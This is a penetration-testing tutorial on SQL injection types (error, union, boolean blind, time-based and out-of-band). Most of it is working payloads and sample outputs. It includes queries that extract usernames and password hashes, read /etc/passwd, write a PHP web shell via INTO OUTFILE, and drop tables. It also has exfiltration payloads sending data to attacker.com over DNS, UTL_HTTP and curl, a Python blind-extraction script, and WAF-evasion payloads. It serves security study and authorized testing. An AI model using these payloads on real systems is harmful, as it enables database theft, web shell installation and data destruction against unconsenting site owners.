SQL Injection Types Explained: Error, Union, Blind & Time-Based
Introduction: Understanding SQL Injection Types
SQL injection remains one of the most critical web application vulnerabilities, consistently featured in the OWASP Top 10 Web Application Security Guide. While you may understand what SQL injection is, knowing the different sql injection types is crucial for effective penetration testing and security assessment.
Each SQL injection type exploits web application vulnerabilities differently, requires unique detection methods, and demands specific exploitation techniques. Whether you're conducting a security audit, practicing in DVWA, or preparing for real-world penetration testing, understanding when and how to use each type will dramatically improve your testing efficiency.
In this comprehensive guide, we'll explore:
- Error-based SQL injection - Extracting data through database error messages
- Union-based SQL injection - Combining malicious queries with legitimate ones
- Blind SQL injection (Boolean-based) - Inferring data through true/false responses
- Time-based blind SQL injection - Using database delays to extract information
- Out-of-band SQL injection - Leveraging alternative channels for data exfiltration
By the end of this article, you'll know exactly which SQL injection attack type to use in any scenario, complete with practical code examples and a decision framework.
What Are SQL Injection Types?
SQL injection types are different techniques used to exploit SQL injection vulnerabilities based on how the application processes user input and returns data. The choice of technique depends on:
- Application feedback: What information does the app return?
- Database configuration: What functions are available?
- Error handling: Are errors displayed or suppressed?
- Response time: Can you measure delays in responses?
- Network configuration: Can the database make outbound connections?
Let's dive deep into each SQL injection type with practical examples.
1. Error-Based SQL Injection
What is Error-Based SQL Injection?
Error-based SQL injection is a technique where an attacker forces the database to generate error messages that reveal sensitive information about the database structure, data, or configuration. This is one of the easiest SQL injection types to exploit when database errors are displayed to the user.
How Error-Based SQL Injection Works
When a web application doesn't properly handle database errors, attackers can craft malicious SQL queries that:
- Trigger database errors intentionally
- Extract data through error messages
- Use database functions to force data into error output
Error-Based SQL Injection Example
Vulnerable Code (PHP):
<?php
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $query);
?>
Normal Request:
GET /user.php?id=1 HTTP/1.1
SQL Injection Attack - Basic Error Detection:
-- Test for vulnerability
GET /user.php?id=1' HTTP/1.1
-- Database Error Response:
You have an error in your SQL syntax near ''1''' at line 1
SQL Injection Attack - Data Extraction (MySQL):
-- Extract database version
GET /user.php?id=1 AND extractvalue(1, concat(0x7e, version())) HTTP/1.1
-- Error message reveals:
XPATH syntax error: '~5.7.33-0ubuntu0.18.04.1'
SQL Injection Attack - Extract Table Names:
-- Retrieve first table name
id=1 AND extractvalue(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))
-- Error reveals: ~users
SQL Injection Attack - Extract Data:
-- Extract username and password
id=1 AND extractvalue(1, concat(0x7e, (SELECT concat(username,':',password) FROM users LIMIT 0,1)))
-- Error reveals: ~admin:5f4dcc3b5aa765d61d8327deb882cf99
Error-Based SQL Injection Functions
MySQL:
extractvalue()updatexml()ST_LatFromGeoHash()ST_PointFromGeoHash()
PostgreSQL:
CAST()with invalid conversions::casting operators
Microsoft SQL Server:
convert()with incompatible typesCAST()operations
When to Use Error-Based SQL Injection
✅ Use error-based SQLi when:
- Database errors are displayed in HTTP responses
- You need quick information about database structure
- Other injection types are too slow
- You're in the reconnaissance phase
❌ Avoid error-based SQLi when:
- Application suppresses error messages
- Custom error pages hide database details
- WAF blocks common error-based payloads
2. Union-Based SQL Injection
What is Union-Based SQL Injection?
Union-based SQL injection uses the SQL UNION operator to combine the results of the original query with results from an injected query. This is one of the most powerful and fastest SQL injection types when the application displays query results directly on the page.
For a comprehensive deep dive, see our Union-Based SQL Injection Guide.
How Union-Based SQL Injection Works
The UNION operator allows combining results from multiple SELECT statements, but requires:
- Same number of columns in both queries
- Compatible data types in corresponding columns
- Query results displayed on the page
Union-Based SQL Injection Example
Vulnerable Application:
<?php
$id = $_GET['id'];
$query = "SELECT id, name, email FROM users WHERE id = $id";
$result = mysqli_query($conn, $query);
while($row = mysqli_fetch_assoc($result)) {
echo "Name: " . $row['name'] . "<br>";
echo "Email: " . $row['email'] . "<br>";
}
?>
Normal Request:
GET /user.php?id=1
-- Executes: SELECT id, name, email FROM users WHERE id = 1
-- Output: Name: Admin, Email: admin@example.com
Step 1: Determine Number of Columns
-- Test with ORDER BY
id=1 ORDER BY 1--
id=1 ORDER BY 2--
id=1 ORDER BY 3--
id=1 ORDER BY 4-- (Error! Only 3 columns)
Step 2: Find Injectable Columns
id=1 UNION SELECT 1,2,3--
-- Output shows which column numbers appear on page:
Name: 2
Email: 3
Step 3: Extract Database Information
-- Get database name and user
id=-1 UNION SELECT 1, database(), user()--
-- Output:
Name: vulnerable_db
Email: root@localhost
Step 4: Extract Table Names
id=-1 UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database()--
-- Output:
Name: users
Name: admin_accounts
Name: credit_cards
Step 5: Extract Column Names
id=-1 UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='admin_accounts'--
-- Output:
Name: id
Name: username
Name: password_hash
Name: api_key
Step 6: Extract Sensitive Data
id=-1 UNION SELECT 1, username, password_hash FROM admin_accounts--
-- Output:
Name: admin
Email: $2y$10$abcdefgh...
Advanced: Extract Multiple Rows
-- Concatenate multiple records
id=-1 UNION SELECT 1, GROUP_CONCAT(username), GROUP_CONCAT(password_hash) FROM admin_accounts--
-- Output:
Name: admin,user1,user2
Email: hash1,hash2,hash3
Union-Based SQL Injection Techniques
Null Technique (for type compatibility):
id=-1 UNION SELECT NULL, NULL, NULL--
id=-1 UNION SELECT 'a', NULL, NULL-- (Test which columns accept strings)
File Reading (MySQL):
id=-1 UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3--
File Writing (MySQL with FILE privilege):
id=-1 UNION SELECT 1, '<?php system($_GET["cmd"]); ?>', 3 INTO OUTFILE '/var/www/html/shell.php'--
When to Use Union-Based SQL Injection
✅ Use union-based SQLi when:
- Query results are displayed on the page
- You need to extract large amounts of data quickly
- Multiple table/column enumeration is required
- Application doesn't limit response size
❌ Avoid union-based SQLi when:
- Results aren't displayed (use blind techniques)
- Output is limited to single values
- WAF blocks
UNIONkeyword
3. Boolean-Based Blind SQL Injection
What is Boolean-Based Blind SQL Injection?
Blind SQL injection occurs when an application is vulnerable to SQL injection but doesn't display database errors or query results. Boolean-based blind SQL injection exploits differences in application behavior based on whether injected SQL conditions evaluate to TRUE or FALSE.
For advanced blind SQL injection techniques, see our complete Blind SQL Injection Guide.
How Boolean-Based Blind SQL Injection Works
Attackers can infer data by:
- Injecting TRUE/FALSE conditions
- Observing application responses (content changes, status codes, redirects)
- Extracting data character-by-character
- Using binary search to optimize extraction
Boolean-Based Blind SQL Injection Example
Vulnerable Application:
<?php
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = $id AND status='published'";
$result = mysqli_query($conn, $query);
if(mysqli_num_rows($result) > 0) {
echo "Product found";
} else {
echo "Product not found";
}
?>
Step 1: Confirm Vulnerability
-- TRUE condition (product exists)
id=1 AND 1=1--
-- Output: "Product found"
-- FALSE condition
id=1 AND 1=2--
-- Output: "Product not found"
Step 2: Test Boolean Conditions
-- Check if database name starts with 'v'
id=1 AND SUBSTRING(database(),1,1)='v'--
-- Output: "Product found" → TRUE
-- Check if database name starts with 'x'
id=1 AND SUBSTRING(database(),1,1)='x'--
-- Output: "Product not found" → FALSE
Step 3: Extract Database Name Character-by-Character
-- Extract first character
id=1 AND ASCII(SUBSTRING(database(),1,1))=118-- (v = 118)
-- TRUE → First character is 'v'
-- Extract second character
id=1 AND ASCII(SUBSTRING(database(),2,1))=117-- (u = 117)
-- TRUE → Second character is 'u'
-- Extract third character
id=1 AND ASCII(SUBSTRING(database(),3,1))=108-- (l = 108)
-- TRUE → Third character is 'l'
-- Result: "vul..." (vulnerable)
Step 4: Extract Table Names
-- Check if 'users' table exists
id=1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database() AND table_name='users')=1--
-- TRUE → 'users' table exists
Step 5: Extract Username Length
-- Check length of first username
id=1 AND (SELECT LENGTH(username) FROM users LIMIT 0,1)=5--
-- TRUE → Username is 5 characters long
Step 6: Extract Username Character-by-Character
-- Extract first character
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))=97-- (a)
-- Extract second character
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),2,1))=100-- (d)
-- Extract third character
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),3,1))=109-- (m)
-- Extract fourth character
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),4,1))=105-- (i)
-- Extract fifth character
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),5,1))=110-- (n)
-- Result: "admin"
Optimizing Boolean-Based Blind SQL Injection
Binary Search Method (faster):
-- Instead of testing ASCII 97,98,99...122
-- Use binary search: is it > 109? > 122? etc.
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))>109--
-- TRUE → character is in range 110-122
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))>116--
-- FALSE → character is in range 110-116
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))>113--
-- TRUE → character is in range 114-116
-- Continue until exact value found
Automated Tools:
- SQLMap:
sqlmap -u "http://target.com/page.php?id=1" --technique=B - Custom Python scripts for optimized extraction
When to Use Boolean-Based Blind SQL Injection
✅ Use boolean-based blind SQLi when:
- No error messages or query results are displayed
- Application shows different responses for TRUE/FALSE
- You have observable differences (content, redirects, status)
- Time-based is too slow or unreliable
❌ Avoid boolean-based blind SQLi when:
- No observable difference between TRUE/FALSE
- Application always returns same response
- Network is unstable (use time-based instead)
4. Time-Based Blind SQL Injection
What is Time-Based Blind SQL Injection?
Time-based blind SQL injection is used when the application doesn't display errors, query results, or have any observable differences in behavior. Instead, attackers measure the time delay in responses to infer whether injected conditions are TRUE or FALSE.
How Time-Based Blind SQL Injection Works
Attackers use database functions that cause intentional delays:
- Inject conditional statements with delay functions
- If condition is TRUE → delay executes → response is slow
- If condition is FALSE → no delay → response is fast
- Extract data bit-by-bit by measuring response times
Time-Based Blind SQL Injection Example
Vulnerable Application:
<?php
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = $id";
$result = mysqli_query($conn, $query);
// No output, no errors, no observable difference
?>
Step 1: Confirm Vulnerability
-- MySQL: Sleep for 5 seconds if TRUE
id=1 AND SLEEP(5)--
-- Response time: ~5 seconds → Vulnerable!
-- PostgreSQL
id=1 AND pg_sleep(5)--
-- Microsoft SQL Server
id=1; WAITFOR DELAY '00:00:05'--
Step 2: Test Conditional Delays
-- If database starts with 'v', sleep 5 seconds
id=1 AND IF(SUBSTRING(database(),1,1)='v', SLEEP(5), 0)--
-- Response time: ~5 seconds → TRUE (database starts with 'v')
id=1 AND IF(SUBSTRING(database(),1,1)='x', SLEEP(5), 0)--
-- Response time: <1 second → FALSE
Step 3: Extract Data Character-by-Character
-- Extract database name character by character
-- First character
id=1 AND IF(ASCII(SUBSTRING(database(),1,1))=118, SLEEP(5), 0)-- (v=118)
-- Delay detected → TRUE
-- Second character
id=1 AND IF(ASCII(SUBSTRING(database(),2,1))=117, SLEEP(5), 0)-- (u=117)
-- Delay detected → TRUE
-- Third character
id=1 AND IF(ASCII(SUBSTRING(database(),3,1))=108, SLEEP(5), 0)-- (l=108)
-- Delay detected → TRUE
Step 4: Extract Username from Database
-- Check if admin user exists (5 second delay if true)
id=1 AND IF((SELECT COUNT(*) FROM users WHERE username='admin')=1, SLEEP(5), 0)--
-- Delay detected → Admin user exists
-- Extract admin password length
id=1 AND IF((SELECT LENGTH(password) FROM users WHERE username='admin')=32, SLEEP(5), 0)--
-- Delay detected → Password is 32 characters (MD5 hash)
-- Extract first character of password
id=1 AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))=53, SLEEP(5), 0)-- (5)
-- Delay detected → First character is '5'
Time-Based SQL Injection Functions by Database
MySQL / MariaDB:
SLEEP(seconds)
BENCHMARK(count, expression) -- CPU-intensive delay
PostgreSQL:
pg_sleep(seconds)
pg_sleep_for('5 seconds')
pg_sleep_until('timestamp')
Microsoft SQL Server:
WAITFOR DELAY '00:00:05' -- 5 second delay
WAITFOR TIME '14:30:00' -- Wait until specific time
Oracle:
DBMS_LOCK.SLEEP(seconds)
DBMS_PIPE.RECEIVE_MESSAGE('anything', seconds)
SQLite:
-- No built-in sleep, use heavy computation
randombLob(100000000) -- Causes processing delay
Time-Based Blind SQL Injection Optimization
Binary Search with Delays:
-- More efficient than testing every ASCII value
id=1 AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))>109, SLEEP(3), 0)--
Parallel Requests (faster extraction):
- Send multiple requests simultaneously
- Use threading in Python scripts
- Reduce total extraction time significantly
Example Python Script Structure:
import requests
import time
def check_char(position, ascii_value):
url = f"http://target.com/page.php?id=1 AND IF(ASCII(SUBSTRING(database(),{position},1))={ascii_value}, SLEEP(3), 0)--"
start = time.time()
requests.get(url)
duration = time.time() - start
return duration > 2.5 # TRUE if delayed
# Extract database name
db_name = ""
for pos in range(1, 20):
for ascii_val in range(97, 123): # a-z
if check_char(pos, ascii_val):
db_name += chr(ascii_val)
break
else:
break # No more characters
print(f"Database: {db_name}")
When to Use Time-Based Blind SQL Injection
✅ Use time-based blind SQLi when:
- No errors, results, or observable differences exist
- Boolean-based blind SQLi is not possible
- You need absolute confirmation of vulnerability
- Network latency is consistent and reliable
❌ Avoid time-based blind SQLi when:
- Network is unstable or high-latency
- Application has connection timeouts
- Faster methods (error-based, union-based) are available
- Large data extraction needed (too slow)
5. Out-of-Band (OOB) SQL Injection
What is Out-of-Band SQL Injection?
Out-of-band (OOB) SQL injection uses alternative channels to extract data when in-band techniques fail. Instead of receiving data through the same HTTP channel, attackers force the database to send data via DNS queries, HTTP requests, or SMB connections to an attacker-controlled server.
How Out-of-Band SQL Injection Works
OOB SQLi typically requires:
- Database privileges to make external network requests
- Attacker-controlled server to receive data
- Database functions for DNS/HTTP requests
- No restrictive firewall rules
Out-of-Band SQL Injection Example
Prerequisites:
- Set up DNS logger (Burp Collaborator, interact.sh, or your own)
- Database must have functions like
LOAD_FILE(),UTL_HTTP, etc.
MySQL Out-of-Band via DNS (Windows only):
-- Extract data via DNS query
id=1 AND LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.com\\share'))--
-- DNS query generated:
-- vulnerable_db.attacker.com
-- Extract username
id=1 AND LOAD_FILE(CONCAT('\\\\',(SELECT username FROM users LIMIT 0,1),'.attacker.com\\share'))--
-- DNS query: admin.attacker.com
Microsoft SQL Server Out-of-Band:
-- Using xp_dirtree to trigger DNS request
id=1; DECLARE @data varchar(1024); SELECT @data=(SELECT TOP 1 username FROM users); EXEC('master..xp_dirtree "\\\\'+@data+'.attacker.com\\share"')--
-- Using OPENROWSET for HTTP exfiltration
id=1; EXEC('SELECT * FROM OPENROWSET(''SQLOLEDB'', ''Network=DBMSSOCN;Address=attacker.com,80;uid=sa;pwd=pass'', ''SELECT 1'')')--
Oracle Out-of-Band:
-- Using UTL_HTTP package
id=1 AND UTL_HTTP.request('http://attacker.com:80/'||(SELECT username FROM users WHERE ROWNUM=1))=1--
-- Request received at attacker.com:
-- GET /admin HTTP/1.1
-- Using UTL_INADDR for DNS
id=1 AND UTL_INADDR.get_host_address((SELECT username FROM users WHERE ROWNUM=1)||'.attacker.com')=1--
-- DNS query: admin.attacker.com
PostgreSQL Out-of-Band:
-- Using COPY TO PROGRAM (requires superuser)
id=1; COPY (SELECT username FROM users) TO PROGRAM 'curl http://attacker.com/?data='--
-- Using dblink extension
id=1; SELECT dblink_connect('host=attacker.com user=test password=test dbname=test')--
Out-of-Band Data Exfiltration via DNS
Setting Up DNS Logger:
# Option 1: Use Burp Collaborator (professional)
# Generate subdomain: abc123.burpcollaborator.net
# Option 2: Use interact.sh (free)
curl -X POST https://interact.sh
# Returns: c1234567.interact.sh
# Option 3: Set up your own DNS server
sudo tcpdump -i eth0 -n udp port 53
Exfiltrate Data via DNS Subdomain:
-- Each DNS query can contain ~63 chars per label
-- Split long data across multiple requests
-- MySQL (Windows)
id=1 AND LOAD_FILE(CONCAT('\\\\',(SELECT SUBSTRING(password,1,32) FROM users WHERE username='admin'),'.c1234567.interact.sh\\x'))--
-- Captured DNS query:
-- 5f4dcc3b5aa765d61d8327deb882cf99.c1234567.interact.sh
When to Use Out-of-Band SQL Injection
✅ Use OOB SQLi when:
- All in-band techniques fail or are too slow
- Application doesn't return any useful responses
- You have DNS exfiltration capability
- Database has required privileges and functions
- Firewall allows outbound DNS/HTTP
❌ Avoid OOB SQLi when:
- Simpler techniques work (error, union, blind)
- Database lacks external request functions
- Firewall blocks outbound connections
- You can't set up a listener server
SQL Injection Types Comparison Table
| Injection Type | Difficulty | Speed | Detection Method | Data Extraction | Requirements | Best Tools |
|---|---|---|---|---|---|---|
| Error-Based | Easy | Fast | Database errors visible | Error messages | Errors displayed | SQLMap, Manual |
| Union-Based | Medium | Very Fast | Query results visible | Direct in response | Results displayed | SQLMap, Manual |
| Boolean Blind | Medium-Hard | Medium | Response differences | Character-by-character | Observable differences | SQLMap, Python scripts |
| Time-Based Blind | Hard | Very Slow | Response timing | Character-by-character | Stable network | SQLMap (slow), Custom scripts |
| Out-of-Band | Hard | Medium | External requests | DNS/HTTP exfiltration | DB privileges, outbound access | Burp Collaborator, Custom server |
Detailed Feature Comparison
Stealth & Detection Avoidance:
- Most Stealthy: Time-based blind (hard to detect in logs)
- Moderate: Boolean blind (many similar requests)
- Noisy: Union-based (unusual query patterns), Error-based (multiple errors)
- Very Noisy: OOB (unusual network traffic)
Data Extraction Volume:
- Highest Volume: Union-based (full tables in seconds)
- Medium Volume: Error-based (limited by error message size), OOB (limited by DNS)
- Low Volume: Boolean blind, Time-based blind (1 byte per request)
Payload Complexity:
- Simplest: Error-based (basic functions)
- Simple: Boolean blind (basic conditional logic)
- Moderate: Union-based (requires column enumeration)
- Complex: Time-based (conditional delays), OOB (external channels)
WAF Evasion Difficulty:
- Easiest to Bypass: Time-based (subtle payloads)
- Moderate: Boolean blind, Error-based
- Hardest: Union-based (UNION keyword often blocked), OOB (unusual functions)
How to Identify Which SQL Injection Type to Use
Decision Framework
Follow this systematic approach to choose the optimal SQL injection technique:
Step 1: Test for Error Messages
-- Send malformed input
id=1'
id=1"
id=1`
✅ If database errors appear → Use Error-Based SQL Injection
❌ If no errors → Continue to Step 2
Step 2: Test for Query Results Display
-- Test with UNION
id=1 UNION SELECT 1,2,3--
id=-1 UNION SELECT NULL,NULL,NULL--
✅ If you see injected values (1,2,3) → Use Union-Based SQL Injection
❌ If no results shown → Continue to Step 3
Step 3: Test for Boolean Differences
-- TRUE condition
id=1 AND 1=1--
-- FALSE condition
id=1 AND 1=2--
✅ If page content/behavior differs → Use Boolean-Based Blind SQL Injection
❌ If no observable difference → Continue to Step 4
Step 4: Test for Time Delays
-- MySQL
id=1 AND SLEEP(5)--
-- Response time > 5 seconds?
✅ If significant delay observed → Use Time-Based Blind SQL Injection
❌ If timeouts or unreliable → Continue to Step 5
Step 5: Consider Out-of-Band
-- Test DNS exfiltration capability
id=1 AND LOAD_FILE('\\\\your-domain.com\\x')--
✅ If DNS queries received → Use Out-of-Band SQL Injection
❌ If all techniques fail → Application may not be vulnerable or has strong protection
Real-World Scenario Selection
Scenario 1: Public-Facing Web Application
- First Try: Error-based (quick reconnaissance)
- Second Try: Union-based (fast data extraction)
- Fallback: Boolean blind if errors suppressed
Scenario 2: API Endpoints
- First Try: Boolean blind (APIs rarely show errors)
- Second Try: Time-based (if no response differences)
Scenario 3: Heavy WAF Protection
- First Try: Time-based (subtle, hard to detect)
- Use: Encoding, obfuscation, slow extraction
Scenario 4: Internal Applications
- First Try: Error-based (often shows detailed errors)
- Fast Extraction: Union-based for bulk data
Scenario 5: Blind with No Time Response
- Only Option: Out-of-band via DNS
- Requires: Setup external listener
Automation Decision Tree
Is SQLi confirmed? (Basic tests)
↓ YES
Do errors display?
↓ YES → ERROR-BASED
↓ NO
Are results shown?
↓ YES → UNION-BASED
↓ NO
Different TRUE/FALSE responses?
↓ YES → BOOLEAN BLIND
↓ NO
Stable network for timing?
↓ YES → TIME-BASED BLIND
↓ NO
Can database make external requests?
↓ YES → OUT-OF-BAND
↓ NO
→ Advanced evasion or not vulnerable
Tools for Different SQL Injection Types
SQLMap (All Types)
Test specific injection types:
# Error-based only
sqlmap -u "http://target.com/page.php?id=1" --technique=E
# Union-based only
sqlmap -u "http://target.com/page.php?id=1" --technique=U
# Boolean blind
sqlmap -u "http://target.com/page.php?id=1" --technique=B
# Time-based blind
sqlmap -u "http://target.com/page.php?id=1" --technique=T
# Stack queries (for OOB)
sqlmap -u "http://target.com/page.php?id=1" --technique=S
# All techniques
sqlmap -u "http://target.com/page.php?id=1" --technique=BEUTS
Manual Testing Tools
Burp Suite:
- Intruder for boolean/time-based blind
- Repeater for error/union testing
- Collaborator for out-of-band
Custom Python Scripts:
- Faster than SQLMap for specific scenarios
- Better control over requests
- Optimized for specific injection types
NoSQLMap:
- For NoSQL injection (MongoDB, CouchDB)
Havij, SQLNinja, jSQL Injection:
- Alternative automated tools
Frequently Asked Questions (FAQ)
1. Which SQL injection type is the easiest to exploit?
Error-based SQL injection is the easiest type to exploit because:
- Database errors immediately reveal information
- No need for blind inference techniques
- Fast data extraction through error messages
- Simple payloads with functions like
extractvalue()orupdatexml()
However, error-based SQLi only works when applications display database error messages, which is less common in production environments.
2. What's the difference between blind and time-based SQL injection?
Blind SQL injection is a category that includes two subtypes:
- Boolean-based blind SQL injection: Infers data by observing TRUE/FALSE responses (different page content, redirects, or HTTP status codes)
- Time-based blind SQL injection: Infers data by measuring response time delays using database sleep functions
Time-based is used when boolean-based doesn't work because there's no observable difference in application responses.
3. How long does time-based SQL injection take to extract data?
Time-based SQL injection is very slow:
- Per character: 5-10 seconds (depending on chosen delay)
- Per database name (10 chars): 50-100 seconds
- Per password hash (32 chars): 160-320 seconds
- Per table (multiple rows): Hours to days
Optimizations:
- Use binary search instead of linear (reduces tests by ~50%)
- Use parallel requests
- Reduce delay time (but less reliable)
- Extract only critical data
4. Can SQL injection types be combined?
Yes! Stacked queries allow combining multiple SQL statements:
-- Union + Error-based
id=-1 UNION SELECT 1, extractvalue(1, concat(0x7e, database())), 3--
-- Boolean + Time-based (for confirmation)
id=1 AND IF((SELECT COUNT(*) FROM users)>5, SLEEP(3), 0)--
-- Union + File read/write
id=-1 UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3--
id=-1 UNION SELECT 1, 'shell code', 3 INTO OUTFILE '/var/www/shell.php'--
Some databases (PostgreSQL, MS SQL Server) support true stacked queries:
id=1; DROP TABLE users-- (Two separate queries)
5. Which SQL injection type is hardest to detect by WAFs?
Time-based blind SQL injection is hardest to detect because:
- Uses simple, legitimate SQL functions (
SLEEP,IF) - No obvious attack patterns (no
UNION,SELECT,information_schema) - Can use heavy obfuscation and encoding
- Doesn't trigger database errors
- Low request volume
Example WAF-evasion time-based payload:
-- Standard (easily blocked)
id=1 AND SLEEP(5)--
-- Obfuscated (harder to detect)
id=1 AND IF(1=1, BENCHMARK(5000000, MD5('a')), 0)--
id=1 AND (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION ... repeat 5000 times))--
Boolean blind is second-best for evasion.
Next Steps: Mastering SQL Injection
Now that you understand all major SQL injection types, here's your learning path:
Practice What You've Learned
- SQL Injection Tutorial: DVWA Hands-On Lab - Practice all injection types in a safe environment
- Union-Based SQL Injection Deep Dive - Master the fastest data extraction technique
- Blind SQL Injection Complete Guide - Advanced boolean and time-based techniques
Reference Materials
- SQL Injection Cheat Sheet - Quick reference for all database types
- SQL Injection Prevention Guide - Secure coding practices and defense strategies
External Resources
- OWASP SQL Injection - Comprehensive OWASP documentation
- CWE-89: SQL Injection - Common Weakness Enumeration reference
- PortSwigger SQL Injection Cheat Sheet - Database-specific payloads
Ready for Advanced Topics?
After mastering the basics, explore:
- Second-order SQL injection
- NoSQL injection (MongoDB, CouchDB)
- ORM injection (Hibernate, Entity Framework)
- Automated SQLi with custom Python scripts
- WAF bypass techniques
- SQL injection in mobile APIs
Conclusion
Understanding SQL injection types is essential for effective penetration testing and application security assessment. Each type—error-based, union-based, boolean blind, time-based blind, and out-of-band—has specific use cases, advantages, and limitations.
Key Takeaways:
✅ Error-based SQLi is fastest when errors are displayed
✅ Union-based SQLi extracts bulk data when results are shown
✅ Boolean blind SQLi works when TRUE/FALSE responses differ
✅ Time-based blind SQLi is the fallback when nothing else works
✅ Out-of-band SQLi uses alternative channels when in-band fails
Always follow a systematic approach: test for errors first, then try union-based, fall back to blind techniques if needed, and only use time-based or OOB as last resorts.
Remember: Always practice on authorized systems only. Use platforms like DVWA, HackTheBox, TryHackMe, or your own lab environments for legal SQL injection practice.
Ready to continue your SQL injection mastery? Check out our SQL Injection Tutorial with DVWA for hands-on practice with all the techniques covered in this guide.
About the Author: Syed Abrar (Andrax Pentester) is a cybersecurity researcher and penetration tester specializing in web application security. Follow our latest security research and tutorials at AndraxPentester.in.
Related Articles:
- What is SQL Injection? Complete Beginner's Guide
- OWASP Top 10 2025: Complete Security Guide
- SQL Injection Cheat Sheet
Last updated: 2025 | Category: SQL Injection | Tags: web security, penetration testing, OWASP, ethical hacking
